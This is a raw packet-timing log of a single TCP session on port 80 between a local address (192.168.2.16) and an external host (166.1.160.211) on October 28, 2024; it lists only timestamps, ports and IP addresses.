Oct 28, 2024 19:46:20.653629065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653634071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.653646946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.653671026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654369116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654386044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654402018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654414892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654418945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654436111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654450893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654462099 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654468060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654485941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654500961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654503107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654512882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654519081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654532909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654535055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654551983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654568911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.654572964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.654617071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655354023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655390024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655424118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655436039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655458927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655493021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655508041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655528069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655560970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655579090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655596972 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655632019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655648947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655666113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655699968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655710936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.655735016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655769110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.655781031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656111002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656146049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656157970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656181097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656232119 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656234026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656269073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656303883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656316996 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656344891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656378984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656394958 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656414032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656447887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656464100 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656482935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656517029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656536102 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.656557083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656593084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.656610966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657176018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657211065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657229900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657243967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657279015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657289028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657314062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657347918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657356024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657381058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657414913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657424927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657449007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657481909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657490969 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657516956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657552958 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657565117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.657587051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.657629967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658159971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658195019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658229113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658250093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658266068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658299923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658307076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658334970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658368111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658397913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658401966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658436060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658447981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658472061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658505917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658518076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.658540964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658576012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.658591032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659008026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659043074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659060001 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659079075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659112930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659127951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659146070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659183025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659199953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659215927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659250021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659272909 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659286022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659347057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659349918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659600019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659635067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659651041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659670115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659719944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659732103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659754992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659790039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659796953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659823895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659858942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659874916 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659894943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659929991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.659934998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.659964085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.660001040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.660006046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.660032988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.660079956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.858648062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865143061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865206003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865241051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865278959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865375996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865410089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865431070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865456104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865490913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865509987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865621090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865653038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865672112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865686893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865722895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865737915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865837097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865869999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865899086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.865950108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.865984917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866003036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866019011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866053104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866080046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866086960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866122007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866146088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866157055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866214037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866667032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866700888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866733074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866750002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866767883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866801977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866835117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866838932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866869926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866883039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866904020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866938114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.866961002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.866971016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867007017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867029905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867039919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867074013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867110014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867557049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867592096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867610931 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867626905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867660046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867682934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867693901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867728949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867750883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867762089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867795944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867811918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867829084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867865086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867880106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867898941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867932081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.867940903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.867968082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868021965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868393898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868463993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868496895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868509054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868530989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868565083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868582964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868599892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868633032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868654013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868665934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868699074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868714094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868732929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868766069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868779898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868799925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868834019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868848085 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.868875980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.868920088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.869316101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869350910 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869384050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869399071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.869417906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869452000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869462967 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.869487047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869519949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869529963 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.869556904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.869604111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.967561960 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973232985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973280907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973334074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973337889 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973391056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973436117 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973440886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973475933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973510027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973520041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973639965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973675013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973686934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973807096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973855019 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973859072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973892927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973941088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.973947048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.973977089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974010944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974028111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974045992 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974080086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974109888 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974114895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974149942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974164009 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974478006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974512100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974523067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974564075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974597931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974607944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974632025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974668980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974684000 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974703074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974736929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974754095 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974771976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.974818945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.974822998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975286961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975341082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975342989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975375891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975409985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975428104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975442886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975476980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975491047 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975509882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975544930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975562096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975579023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975610971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975619078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975646019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975678921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975697041 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.975713968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.975763083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976167917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976210117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976264954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976268053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976301908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976336002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976356030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976370096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976408005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976429939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976443052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976478100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976488113 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976511955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976546049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976556063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976578951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976613045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976627111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.976646900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.976692915 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977153063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977186918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977221012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977237940 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977255106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977289915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977300882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977324963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977358103 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977370024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977394104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977427959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977443933 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977462053 CET	80	49726	166.1.160.211	192.168.2.16
